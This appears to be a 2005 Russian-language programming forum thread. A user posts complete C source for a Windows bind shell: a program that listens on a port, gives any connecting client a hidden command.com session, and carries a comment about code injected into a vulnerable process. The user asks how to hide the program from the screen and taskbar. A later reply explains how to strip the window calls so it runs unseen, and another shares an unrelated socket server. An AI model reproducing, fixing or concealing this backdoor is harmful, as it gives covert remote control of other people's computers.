Модераторы: feodorv, GremlinProg, xvr, Fixin
  

Поиск:

Ответ в темуСоздание новой темы Создание опроса
> Сокеты, и консольные окна 
:(
    Опции темы
CoderUA
Дата 17.10.2005, 14:18 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Новичок



Профиль
Группа: Участник
Сообщений: 33
Регистрация: 17.10.2005
Где: Ukraine

Репутация: нет
Всего: нет



В общем я пишу программу которая будет давать мне возмоность подсоединяться к удаленному

компьютеру.
То есть. Я устанавливаю эту программу на своем компе. Она слушает порт 1234. Далее я подключаюсь

к это му порту с удаленной машины командой типа "netcat <IP-адрес_компа> <порт>". И после этого

программа запускает командный интерпретатор, и я могу работать с удаленной машиной.
Я программу создаю типа Win32 Console App. При запуске программы на экране появляется окно сеанса

MS-DOS. Как можно сделать, чтобы программы не было видно. То есть чтобы не было на панели задач и

на экране тоже, но возможно присутствие в диспетчере задач.

Программу пишу под Windows 98.

А пробовал создавать Win32 App, и переделывать под него, так он мне столько ошибок выдает
Вот исходники программы ConsoleApp!
-----------------------------------------------------
bind.cpp
-----------------------------------------------------
#include <stdio.h>
#include <winsock2.h>
#include <windows.h>
#include "spawn.pipe.h"

#define MY_PORT 1234
#define MAX_BUF_SIZE 1024

DWORD WINAPI SexToClient(void *csocket);

int main()
{
DWORD thID;
HOSTENT *hst;
SOCKET lsocket;
SOCKET csocket;
struct sockaddr_in laddr, caddr;
char buff[MAX_BUF_SIZE];
int caddr_size = sizeof(caddr);



if (WSAStartup(0x0202, (WSADATA*) &buff[0])) return -1;


lsocket = socket(AF_INET, SOCK_STREAM, 0);


laddr.sin_family = AF_INET;
laddr.sin_port = htons(MY_PORT);
laddr.sin_addr.s_addr = INADDR_ANY;
if (bind(lsocket,(struct sockaddr*) &laddr, sizeof(laddr))) return -1;


if (listen(lsocket, 0x100)) return -1;

// Ну это я забираю
//printf("wait for connection...\n");


while((csocket=accept(lsocket, (struct sockaddr *) &caddr, &caddr_size)))
{

hst = gethostbyaddr((char *) &caddr.sin_addr.s_addr, 4, AF_INET);
sprintf(buff, "+%s [%s] new

connect!\r\n",(hst)?hst->h_name:"",inet_ntoa(caddr.sin_addr));
send(csocket, buff, strlen(buff), 0);


CreateThread(0, 0, SexToClient, (void *) &csocket, 0, &thID);
}

closesocket(lsocket);
WSACleanup();
return 0;
}

DWORD WINAPI SexToClient(void *csocket)
{
sshell(((SOCKET*)csocket)[0], MAX_BUF_SIZE);
closesocket(((SOCKET*)csocket)[0]);
return 0;
}



#############################################################3



------------------------------------------------------
spawn.pipe.h
------------------------------------------------------
#ifndef __SPAWN_PIPE_H__
#define __SPAWN_PIPE_H__

#define HELO "hello\n" // подтверждение связи
#define SHELL "command.com" // Командный интерпретатор

// командный интерпретатор
#ifndef MAX_BUF_SIZE
#define MAX_BUF_SIZE 1024
#endif

int sshell(SOCKET csocket, int n)
{
char *buf; // +
//int c;
unsigned int a;
STARTUPINFO si;
SECURITY_ATTRIBUTES sa; // +
PROCESS_INFORMATION pi;

HANDLE cstdin, cstdout, rstdout, wstdin; //pipe handles

unsigned long fexit; //process exit code
unsigned long N; //bytes read
unsigned long total; //bytes available


buf = malloc(n);

// возвращаем удаленной машине приветствие,
// подтверждая тем самым, что удаленный код успешно внедрен
// в уязвимый процесс и готов работать
send(csocket, HELO, sizeof(HELO), 0);


sa.lpSecurityDescriptor = NULL;
sa.nLength = sizeof(SECURITY_ATTRIBUTES);
sa.bInheritHandle = TRUE; //allow inheritable handles

if (!CreatePipe(&cstdin, &wstdin, &sa, 0)) return -1; //create stdin pipe
if (!CreatePipe(&rstdout, &cstdout, &sa, 0)) return -1; //create stdout pipe

GetStartupInfo(&si); //set startupinfo for the spawned process

si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
si.wShowWindow = SW_HIDE;
si.hStdOutput = cstdout;
si.hStdError = cstdout; //set the new handles for the child process
si.hStdInput = cstdin;

//spawn the child process
if (!CreateProcess(0, SHELL, 0, 0, TRUE, CREATE_NEW_CONSOLE, 0, 0, &si, &pi)) return -1;

while(GetExitCodeProcess(pi.hProcess,&fexit) && (fexit == STILL_ACTIVE))
{

//check to see if there is any data to read from stdout
if (PeekNamedPipe(rstdout, buf, 1, &N, &total, 0) && N)
{
for (a = 0; a < total; a += MAX_BUF_SIZE)
{
ReadFile(rstdout, buf, MAX_BUF_SIZE, &N, 0);
send(csocket, buf, N, 0);
}
}

if (!ioctlsocket(csocket, FIONREAD , &N) && N)
{
recv(csocket, buf, 1, 0);
if (*buf == '\x0A') WriteFile(wstdin, "\x0D", 1, &N, 0);
WriteFile(wstdin, buf, 1, &N, 0);
}
Sleep(1);
}

CloseHandle(cstdin); //clean stuff up
CloseHandle(wstdin);
CloseHandle(cstdout);
CloseHandle(rstdout);
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
return 0;
}

#endif //__SPAWN_PIPE_H__



##################################################################
Приведу также пример Win32Api APP

-----------------------------------------------------
bind.cpp
-----------------------------------------------------
#include <windows.h>
#include <winsock2.h>
#include <stdio.h>
#include "spawn.pipe.h"

#define MY_PORT 666 // Port
#define MAX_BUF_SIZE 1024 // Buffer

DWORD thID;
HOSTENT *hst;
SOCKET lsocket;
SOCKET csocket;
struct sockaddr_in laddr, caddr;
char buff[MAX_BUF_SIZE]; // ЎгддҐа
int caddr_size = sizeof(caddr);

DWORD WINAPI SexToClient(void *csocket);

LRESULT CALLBACK WndProc (HWND, UINT, WPARAM, LPARAM) ;

int WINAPI WinMain (HINSTANCE hInstance, HINSTANCE hPrevInstance,
PSTR szCmdLine, int iCmdShow)
{
static char szAppName[] = "bind" ;
HWND hwnd ;
MSG msg ;
WNDCLASSEX wndclass ;

wndclass.cbSize = sizeof (wndclass) ;
wndclass.style = CS_HREDRAW | CS_VREDRAW ;
wndclass.lpfnWndProc = WndProc ;
wndclass.cbClsExtra = 0 ;
wndclass.cbWndExtra = 0 ;
wndclass.hInstance = hInstance ;
wndclass.hIcon = NULL ;
wndclass.hCursor = LoadCursor (NULL, IDC_ARROW) ;
wndclass.hbrBackground = (HBRUSH) GetStockObject (WHITE_BRUSH) ;
wndclass.lpszMenuName = NULL ;
wndclass.lpszClassName = szAppName ;
wndclass.hIconSm = NULL ;

RegisterClassEx (&wndclass);

hwnd = CreateWindow (szAppName, // window class name
"bind", // window

caption
WS_OVERLAPPEDWINDOW, // window style
CW_USEDEFAULT, // initial x position
CW_USEDEFAULT, // initial y position
CW_USEDEFAULT, // initial x size
CW_USEDEFAULT, // initial y size
NULL, // parent window handle
NULL, // window menu handle
hInstance, // program instance handle
NULL) ; // creation parameters

ShowWindow (hwnd, SW_HIDE) ;
UpdateWindow (hwnd) ;

while (GetMessage (&msg, NULL, 0, 0))
{
TranslateMessage (&msg) ;
DispatchMessage (&msg) ;
}
return msg.wParam ;
}

DWORD WINAPI SexToClient(void *csocket)
{
sshell(((SOCKET*)csocket)[0], MAX_BUF_SIZE);
closesocket(((SOCKET*)csocket)[0]);
return 0;
}

LRESULT CALLBACK WndProc (HWND hwnd, UINT iMsg, WPARAM wParam, LPARAM lParam)
{
/*
HDC hdc ;
PAINTSTRUCT ps ;
RECT rect ;
*/

switch (iMsg)
{
case WM_CREATE :
//MessageBox (NULL,"CREATED!!!", "SUCCESS", MB_OK);

if (WSAStartup(0x0202, (WSADATA*) &buff[0])) return -1;

//
lsocket = socket(AF_INET, SOCK_STREAM, 0);

//
laddr.sin_family = AF_INET;
laddr.sin_port = htons(MY_PORT);
laddr.sin_addr.s_addr = INADDR_ANY;
if (bind(lsocket,(struct sockaddr*) &laddr, sizeof(laddr))) return -1;

//
if (listen(lsocket, 0x100)) return -1;
//printf("wait for connection...\n");

//
while((csocket=accept(lsocket, (struct sockaddr *) &caddr, &caddr_size)))
{
//
hst = gethostbyaddr((char *) &caddr.sin_addr.s_addr, 4, AF_INET);
//sprintf(buff, "+%s [%s] new

connect!\r\n",(hst)?hst->h_name:"",inet_ntoa(caddr.sin_addr));
//send(csocket, buff, strlen(buff), 0);

//

CreateThread(0, 0, SexToClient, (void *) &csocket, 0, &thID);

return 0 ;


case WM_DESTROY :
closesocket(lsocket);
WSACleanup();

PostQuitMessage (0) ;
return 0 ;
}

return DefWindowProc (hwnd, iMsg, wParam, lParam) ;
}

spawn.pipe.h - такой же как и для предыдущего.
PM MAIL ICQ   Вверх
CoderUA
Дата 17.10.2005, 16:32 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Новичок



Профиль
Группа: Участник
Сообщений: 33
Регистрация: 17.10.2005
Где: Ukraine

Репутация: нет
Всего: нет



c:\program files\microsoft visual studio\vc98\include\winsock2.h(99) : error C2011: 'fd_set' : 'struct' type redefinition
c:\program files\microsoft visual studio\vc98\include\winsock2.h(134) : warning C4005: 'FD_SET' : macro redefinition
c:\program files\microsoft visual studio\vc98\include\winsock.h(83) : see previous definition of 'FD_SET'
c:\program files\microsoft visual studio\vc98\include\winsock2.h(143) : error C2011: 'timeval' : 'struct' type redefinition
c:\program files\microsoft visual studio\vc98\include\winsock2.h(199) : error C2011: 'hostent' : 'struct' type redefinition
c:\program files\microsoft visual studio\vc98\include\winsock2.h(212) : error C2011: 'netent' : 'struct' type redefinition
c:\program files\microsoft visual studio\vc98\include\winsock2.h(219) : error C2011: 'servent' : 'struct' type redefinition
c:\program files\microsoft visual studio\vc98\include\winsock2.h(226) : error C2011: 'protoent' : 'struct' type redefinition
c:\program files\microsoft visual studio\vc98\include\winsock2.h(310) : error C2011: 'in_addr' : 'struct' type redefinition
c:\program files\microsoft visual studio\vc98\include\winsock2.h(368) : error C2011: 'sockaddr_in' : 'struct' type redefinition
c:\program files\microsoft visual studio\vc98\include\winsock2.h(378) : error C2011: 'WSAData' : 'struct' type redefinition
c:\program files\microsoft visual studio\vc98\include\winsock2.h(430) : warning C4005: 'SO_DONTLINGER' : macro redefinition
c:\program files\microsoft visual studio\vc98\include\winsock.h(391) : see previous definition of 'SO_DONTLINGER'
c:\program files\microsoft visual studio\vc98\include\winsock2.h(483) : warning C4005: 'AF_IPX' : macro redefinition
c:\program files\microsoft visual studio\vc98\include\winsock.h(449) : see previous definition of 'AF_IPX'
c:\program files\microsoft visual studio\vc98\include\winsock2.h(506) : warning C4005: 'AF_MAX' : macro redefinition
c:\program files\microsoft visual studio\vc98\include\winsock.h(468) : see previous definition of 'AF_MAX'
c:\program files\microsoft visual studio\vc98\include\winsock2.h(512) : error C2011: 'sockaddr' : 'struct' type redefinition
c:\program files\microsoft visual studio\vc98\include\winsock2.h(521) : error C2011: 'sockproto' : 'struct' type redefinition
c:\program files\microsoft visual studio\vc98\include\winsock2.h(560) : error C2011: 'linger' : 'struct' type redefinition
c:\program files\microsoft visual studio\vc98\include\winsock2.h(573) : warning C4005: 'SOMAXCONN' : macro redefinition
c:\program files\microsoft visual studio\vc98\include\winsock.h(533) : see previous definition of 'SOMAXCONN'
c:\program files\microsoft visual studio\vc98\include\winsock2.h(598) : warning C4005: 'FD_READ' : macro redefinition
c:\program files\microsoft visual studio\vc98\include\winsock.h(551) : see previous definition of 'FD_READ'
c:\program files\microsoft visual studio\vc98\include\winsock2.h(601) : warning C4005: 'FD_WRITE' : macro redefinition
c:\program files\microsoft visual studio\vc98\include\winsock.h(552) : see previous definition of 'FD_WRITE'
c:\program files\microsoft visual studio\vc98\include\winsock2.h(604) : warning C4005: 'FD_OOB' : macro redefinition
c:\program files\microsoft visual studio\vc98\include\winsock.h(553) : see previous definition of 'FD_OOB'
c:\program files\microsoft visual studio\vc98\include\winsock2.h(607) : warning C4005: 'FD_ACCEPT' : macro redefinition
c:\program files\microsoft visual studio\vc98\include\winsock.h(554) : see previous definition of 'FD_ACCEPT'
c:\program files\microsoft visual studio\vc98\include\winsock2.h(610) : warning C4005: 'FD_CONNECT' : macro redefinition
c:\program files\microsoft visual studio\vc98\include\winsock.h(555) : see previous definition of 'FD_CONNECT'
c:\program files\microsoft visual studio\vc98\include\winsock2.h(613) : warning C4005: 'FD_CLOSE' : macro redefinition
c:\program files\microsoft visual studio\vc98\include\winsock.h(556) : see previous definition of 'FD_CLOSE'
c:\program files\microsoft visual studio\vc98\include\winsock2.h(1427) : error C2375: 'accept' : redefinition; different linkage
c:\program files\microsoft visual studio\vc98\include\winsock.h(707) : see declaration of 'accept'
c:\program files\microsoft visual studio\vc98\include\winsock2.h(1448) : error C2375: 'bind' : redefinition; different linkage
c:\program files\microsoft visual studio\vc98\include\winsock.h(710) : see declaration of 'bind'
c:\program files\microsoft visual studio\vc98\include\winsock2.h(1467) : error C2375: 'closesocket' : redefinition; different linkage
c:\program files\microsoft visual studio\vc98\include\winsock.h(712) : see declaration of 'closesocket'
c:\program files\microsoft visual studio\vc98\include\winsock2.h(1486) : error C2375: 'connect' : redefinition; different linkage
c:\program files\microsoft visual studio\vc98\include\winsock.h(714) : see declaration of 'connect'
c:\program files\microsoft visual studio\vc98\include\winsock2.h(1507) : error C2375: 'ioctlsocket' : redefinition; different linkage
c:\program files\microsoft visual studio\vc98\include\winsock.h(716) : see declaration of 'ioctlsocket'
c:\program files\microsoft visual studio\vc98\include\winsock2.h(1528) : error C2375: 'getpeername' : redefinition; different linkage
c:\program files\microsoft visual studio\vc98\include\winsock.h(718) : see declaration of 'getpeername'
c:\program files\microsoft visual studio\vc98\include\winsock2.h(1549) : error C2375: 'getsockname' : redefinition; different linkage
c:\program files\microsoft visual studio\vc98\include\winsock.h(721) : see declaration of 'getsockname'
c:\program files\microsoft visual studio\vc98\include\winsock2.h(1572) : error C2375: 'getsockopt' : redefinition; different linkage
c:\program files\microsoft visual studio\vc98\include\winsock.h(724) : see declaration of 'getsockopt'
c:\program files\microsoft visual studio\vc98\include\winsock2.h(1593) : error C2375: 'htonl' : redefinition; different linkage
c:\program files\microsoft visual studio\vc98\include\winsock.h(727) : see declaration of 'htonl'
c:\program files\microsoft visual studio\vc98\include\winsock2.h(1610) : error C2375: 'htons' : redefinition; different linkage
c:\program files\microsoft visual studio\vc98\include\winsock.h(729) : see declaration of 'htons'
c:\program files\microsoft visual studio\vc98\include\winsock2.h(1627) : error C2375: 'inet_addr' : redefinition; different linkage
c:\program files\microsoft visual studio\vc98\include\winsock.h(731) : see declaration of 'inet_addr'
c:\program files\microsoft visual studio\vc98\include\winsock2.h(1644) : error C2375: 'inet_ntoa' : redefinition; different linkage
c:\program files\microsoft visual studio\vc98\include\winsock.h(733) : see declaration of 'inet_ntoa'
c:\program files\microsoft visual studio\vc98\include\winsock2.h(1662) : error C2375: 'listen' : redefinition; different linkage
c:\program files\microsoft visual studio\vc98\include\winsock.h(735) : see declaration of 'listen'
c:\program files\microsoft visual studio\vc98\include\winsock2.h(1680) : error C2375: 'ntohl' : redefinition; different linkage
c:\program files\microsoft visual studio\vc98\include\winsock.h(737) : see declaration of 'ntohl'
c:\program files\microsoft visual studio\vc98\include\winsock2.h(1697) : error C2375: 'ntohs' : redefinition; different linkage
c:\program files\microsoft visual studio\vc98\include\winsock.h(739) : see declaration of 'ntohs'
c:\program files\microsoft visual studio\vc98\include\winsock2.h(1717) : error C2375: 'recv' : redefinition; different linkage
c:\program files\microsoft visual studio\vc98\include\winsock.h(741) : see declaration of 'recv'
c:\program files\microsoft visual studio\vc98\include\winsock2.h(1742) : error C2375: 'recvfrom' : redefinition; different linkage
c:\program files\microsoft visual studio\vc98\include\winsock.h(743) : see declaration of 'recvfrom'
c:\program files\microsoft visual studio\vc98\include\winsock2.h(1768) : error C2375: 'select' : redefinition; different linkage
c:\program files\microsoft visual studio\vc98\include\winsock.h(746) : see declaration of 'select'
c:\program files\microsoft visual studio\vc98\include\winsock2.h(1792) : error C2375: 'send' : redefinition; different linkage
c:\program files\microsoft visual studio\vc98\include\winsock.h(749) : see declaration of 'send'
c:\program files\microsoft visual studio\vc98\include\winsock2.h(1817) : error C2375: 'sendto' : redefinition; different linkage
c:\program files\microsoft visual studio\vc98\include\winsock.h(751) : see declaration of 'sendto'
c:\program files\microsoft visual studio\vc98\include\winsock2.h(1843) : error C2375: 'setsockopt' : redefinition; different linkage
c:\program files\microsoft visual studio\vc98\include\winsock.h(754) : see declaration of 'setsockopt'
c:\program files\microsoft visual studio\vc98\include\winsock2.h(1865) : error C2375: 'shutdown' : redefinition; different linkage
c:\program files\microsoft visual studio\vc98\include\winsock.h(757) : see declaration of 'shutdown'
c:\program files\microsoft visual studio\vc98\include\winsock2.h(1885) : error C2375: 'socket' : redefinition; different linkage
c:\program files\microsoft visual studio\vc98\include\winsock.h(759) : see declaration of 'socket'
c:\program files\microsoft visual studio\vc98\include\winsock2.h(1908) : error C2375: 'gethostbyaddr' : redefinition; different linkage
c:\program files\microsoft visual studio\vc98\include\winsock.h(763) : see declaration of 'gethostbyaddr'
c:\program files\microsoft visual studio\vc98\include\winsock2.h(1927) : error C2375: 'gethostbyname' : redefinition; different linkage
c:\program files\microsoft visual studio\vc98\include\winsock.h(766) : see declaration of 'gethostbyname'
c:\program files\microsoft visual studio\vc98\include\winsock2.h(1945) : error C2375: 'gethostname' : redefinition; different linkage
c:\program files\microsoft visual studio\vc98\include\winsock.h(768) : see declaration of 'gethostname'
c:\program files\microsoft visual studio\vc98\include\winsock2.h(1964) : error C2375: 'getservbyport' : redefinition; different linkage
c:\program files\microsoft visual studio\vc98\include\winsock.h(770) : see declaration of 'getservbyport'
c:\program files\microsoft visual studio\vc98\include\winsock2.h(1983) : error C2375: 'getservbyname' : redefinition; different linkage
c:\program files\microsoft visual studio\vc98\include\winsock.h(772) : see declaration of 'getservbyname'
c:\program files\microsoft visual studio\vc98\include\winsock2.h(2001) : error C2375: 'getprotobynumber' : redefinition; different linkage
c:\program files\microsoft visual studio\vc98\include\winsock.h(775) : see declaration of 'getprotobynumber'
c:\program files\microsoft visual studio\vc98\include\winsock2.h(2018) : error C2375: 'getprotobyname' : redefinition; different linkage
c:\program files\microsoft visual studio\vc98\include\winsock.h(777) : see declaration of 'getprotobyname'
c:\program files\microsoft visual studio\vc98\include\winsock2.h(2038) : error C2375: 'WSAStartup' : redefinition; different linkage
c:\program files\microsoft visual studio\vc98\include\winsock.h(781) : see declaration of 'WSAStartup'
c:\program files\microsoft visual studio\vc98\include\winsock2.h(2056) : error C2375: 'WSACleanup' : redefinition; different linkage
c:\program files\microsoft visual studio\vc98\include\winsock.h(783) : see declaration of 'WSACleanup'
c:\program files\microsoft visual studio\vc98\include\winsock2.h(2073) : error C2375: 'WSASetLastError' : redefinition; different linkage
c:\program files\microsoft visual studio\vc98\include\winsock.h(785) : see declaration of 'WSASetLastError'
c:\program files\microsoft visual studio\vc98\include\winsock2.h(2090) : error C2375: 'WSAGetLastError' : redefinition; different linkage
c:\program files\microsoft visual studio\vc98\include\winsock.h(787) : see declaration of 'WSAGetLastError'
c:\program files\microsoft visual studio\vc98\include\winsock2.h(2107) : error C2375: 'WSAIsBlocking' : redefinition; different linkage
c:\program files\microsoft visual studio\vc98\include\winsock.h(789) : see declaration of 'WSAIsBlocking'
c:\program files\microsoft visual studio\vc98\include\winsock2.h(2124) : error C2375: 'WSAUnhookBlockingHook' : redefinition; different linkage
c:\program files\microsoft visual studio\vc98\include\winsock.h(791) : see declaration of 'WSAUnhookBlockingHook'
c:\program files\microsoft visual studio\vc98\include\winsock2.h(2141) : error C2375: 'WSASetBlockingHook' : redefinition; different linkage
c:\program files\microsoft visual studio\vc98\include\winsock.h(793) : see declaration of 'WSASetBlockingHook'
c:\program files\microsoft visual studio\vc98\include\winsock2.h(2158) : error C2375: 'WSACancelBlockingCall' : redefinition; different linkage
c:\program files\microsoft visual studio\vc98\include\winsock.h(795) : see declaration of 'WSACancelBlockingCall'
c:\program files\microsoft visual studio\vc98\include\winsock2.h(2180) : error C2375: 'WSAAsyncGetServByName' : redefinition; different linkage
c:\program files\microsoft visual studio\vc98\include\winsock.h(797) : see declaration of 'WSAAsyncGetServByName'
c:\program files\microsoft visual studio\vc98\include\winsock2.h(2207) : error C2375: 'WSAAsyncGetServByPort' : redefinition; different linkage
c:\program files\microsoft visual studio\vc98\include\winsock.h(802) : see declaration of 'WSAAsyncGetServByPort'
c:\program files\microsoft visual studio\vc98\include\winsock2.h(2233) : error C2375: 'WSAAsyncGetProtoByName' : redefinition; different linkage
c:\program files\microsoft visual studio\vc98\include\winsock.h(806) : see declaration of 'WSAAsyncGetProtoByName'
c:\program files\microsoft visual studio\vc98\include\winsock2.h(2258) : error C2375: 'WSAAsyncGetProtoByNumber' : redefinition; different linkage
c:\program files\microsoft visual studio\vc98\include\winsock.h(810) : see declaration of 'WSAAsyncGetProtoByNumber'
c:\program files\microsoft visual studio\vc98\include\winsock2.h(2283) : error C2375: 'WSAAsyncGetHostByName' : redefinition; different linkage
c:\program files\microsoft visual studio\vc98\include\winsock.h(814) : see declaration of 'WSAAsyncGetHostByName'
c:\program files\microsoft visual studio\vc98\include\winsock2.h(2310) : error C2375: 'WSAAsyncGetHostByAddr' : redefinition; different linkage
c:\program files\microsoft visual studio\vc98\include\winsock.h(818) : see declaration of 'WSAAsyncGetHostByAddr'
c:\program files\microsoft visual studio\vc98\include\winsock2.h(2333) : error C2375: 'WSACancelAsyncRequest' : redefinition; different linkage
c:\program files\microsoft visual studio\vc98\include\winsock.h(822) : see declaration of 'WSACancelAsyncRequest'
c:\program files\microsoft visual studio\vc98\include\winsock2.h(2353) : error C2375: 'WSAAsyncSelect' : redefinition; different linkage
c:\program files\microsoft visual studio\vc98\include\winsock.h(824) : see declaration of 'WSAAsyncSelect'
d:\distr\mobile\work\source\chap02\bind\hellowin.c(140) : fatal error C1004: unexpected end of file found
Error executing cl.exe.

HELLOWIN.OBJ - 59 error(s), 11 warning(s)

PM MAIL ICQ   Вверх
Dmitriy2k
Дата 21.11.2005, 23:01 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


шустрый
*


Профиль
Группа: Участник
Сообщений: 96
Регистрация: 6.11.2005

Репутация: нет
Всего: нет



А ты подключал winsock32.dll?

вот моя тулза... может поможет smile
Код


// serv.cpp : Defines the entry point for the console application.

#include "resource.h"

#include <conio.h>
#include <stdlib.h>
#include <socklibw.h>
#include <debug.h>
#include <msgmain.h>
#include <math.h>


int new_sdes;
#define MSGSIZE 12


bool close;
HWND hDialog;

BOOL CALLBACK DlgProc(HWND hDlg,
  UINT Message,WPARAM wParam,LPARAM lParam)
{
    char str[20]="hello";
    char pBuf[20]="\n";
    
    hDialog=hDlg;
    switch (Message)
    {
        case WM_INITDIALOG: return TRUE;break;
        case WM_CLOSE: close=true;EndDialog(hDlg,0);break;
        case WM_COMMAND:
            if (LOWORD(wParam)==IDC_BUTTON1){
              HWND hEdit,hList;
              hList=GetDlgItem(hDlg,IDC_LIST1);
              hEdit=GetDlgItem(hDlg,IDC_EDIT1);
              
              SendMessage(hEdit,EM_GETLINE,(WPARAM)0,(LPARAM)(LPSTR)pBuf);
              SendMessage(hList,LB_DELETESTRING,(WPARAM)0,(LPARAM)0);
              SendMessage(hList,LB_INSERTSTRING,(WPARAM)0,(LPARAM)pBuf);
              //ShowMessage("show %d",wParam);
            }
            break;
        
    }
    return FALSE;
}


void DlgThread(HINSTANCE *hInst)
{      
    DialogBox(*hInst,MAKEINTRESOURCE(IDD_MAIN),NULL,DlgProc);
}


void SockThread(int *sock_d)
{
  static NA_MSG *getmsg;
  static char c[12],c2[24];
  void *pVoid;
 // MessageBox(NULL,"Thread Started","Warning",MB_OK);
  
  WORD *pi;
  static int res;
  int flag=0;
  //for(int i=0;i<100;i++){
  //while (res=recv(*sock_d,(char*)getmsg,5,0)>0)
  for(;;){
      res=RecvData(*sock_d,c,12,MSG_WAITALL);
      if (res==SOCKET_ERROR) {ShowMessage("Socket Error: %d",WSAGetLastError());}
      else if(res==0) {ShowMessage("Data recived");}
      else if(res==12) 
      {          
          getmsg=(NA_MSG*)c;
          HWND hList;
          hList=GetDlgItem(hDialog,IDC_LIST1);        
          SendMessage(hList,LB_INSERTSTRING,(WPARAM)0,(LPARAM)StrNaMsg(*getmsg));
          //ShowNaMsg(*getmsg);
          //ShowMessage("serv: recv bytes=%d",res);
      }
      
     // c=toupper(c);      
      //ShowNaMsg(*getmsg);
      SendData(*sock_d,c,12);
      

      
    //}
    //ShowMessage("serv: recvErr bytes=%d",res);
  }
  
  //res=WSAGetLastError();
  //ShowMessage("res=%d",res);

  CloseSock(*sock_d);
  
  //return( 0 );
}



int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance,
                   LPSTR lpCmdLine, int nCmdShow)
{
    HANDLE hThread;
    HANDLE hDlgThread;
    DWORD ThreadId,DlgThreadId;
    WSADATA wsaData;
    int sock_des;
    int err;char str[100];
    struct sockaddr_in saddr;

    close=false;
    //ErFl=SHOWERROR;
    ErFl=NOERROR;
    //ShowMessage("%d",sizeof(NA_MSG));
    hDlgThread = CreateThread( NULL, 0, (LPTHREAD_START_ROUTINE)DlgThread, &hInstance, 0, &DlgThreadId );    
    
    err=WSAStartup(MAKEWORD(1,1),&wsaData);
    if (err!=0){
      sprintf(str,"winsock error %d",err);
      MessageBox(NULL,str,"Error",MB_OK);
    }

    AssignLocalAddr(&saddr,8222);
    CreateServerSock(&sock_des,TCP,saddr);
    ListenSock(sock_des,5);    
    
    
   for(;!close;)
   {
       Sleep(1000);
       if (AcceptSock(sock_des,&new_sdes)==-1) continue;

       
       hThread = CreateThread( NULL, 0, (LPTHREAD_START_ROUTINE)SockThread, &new_sdes, 0, &ThreadId );
       
       
       //CloseHandle(hThread);

   }   
    

    //MessageBox(NULL,"Close Program?","Warning",MB_OK);

    return 0;
}


PM MAIL   Вверх
Kill_em_all
Дата 23.11.2005, 08:55 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Шустрый
*


Профиль
Группа: Участник
Сообщений: 52
Регистрация: 2.4.2005

Репутация: нет
Всего: нет



Могу подсказать, что исправить в WIN32 APP, чтобы не было видно окна
Убери все упоминания об окне
UpdateWindow
ShowWindow
CreateWindow

Он тоже выдаст ошибок, но на них укажет и ты сам увидишь где и что убрать

ws2_32.lib тоже подключи
#pragma comment(lib,"ws2_32.lib")
PM MAIL   Вверх
  
Ответ в темуСоздание новой темы Создание опроса
Правила форума "C/C++: Системное программирование и WinAPI"
Fixin
GremlinProg
xvr
feodorv
  • Большое количество информации и примеров с использованием функций WinAPI можно найти в MSDN
  • Описание сообщений, уведомлений и примеров с использованием компонент WinAPI (BUTTON, EDIT, STATIC, и т.п.), можно найти в MSDN Control Library
  • Непосредственно, перед созданием новой темы, проверьте заголовок и удостоверьтесь, что он отражает суть обсуждения.
  • После заполнения поля "Название темы", обратите внимание на наличие и содержание панели "А здесь смотрели?", возможно Ваш вопрос уже был решен.
  • Приводите часть кода, в которой предположительно находится проблема или ошибка.
  • Если указываете код, пользуйтесь тегами [code][/code], или их кнопочными аналогами.
  • Если вопрос решен, воспользуйтесь соответствующей ссылкой, расположенной напротив названия темы.
  • Один топик - один вопрос!
  • Перед тем как создать тему - прочтите это .

На данный раздел распространяются Правила форума и Правила раздела С++:Общие вопросы .


Если Вам понравилась атмосфера форума, заходите к нам чаще! С уважением, Chipset, Step, Fixin, GremlinProg, xvr. feodorv.

 
1 Пользователей читают эту тему (1 Гостей и 0 Скрытых Пользователей)
0 Пользователей:
« Предыдущая тема | C/C++: Системное программирование и WinAPI | Следующая тема »


 




[ Время генерации скрипта: 0.0475 ]   [ Использовано запросов: 21 ]   [ GZIP включён ]


Реклама на сайте     Информационное спонсорство

 
По вопросам размещения рекламы пишите на vladimir(sobaka)vingrad.ru
Отказ от ответственности     Powered by Invision Power Board(R) 1.3 © 2003  IPS, Inc.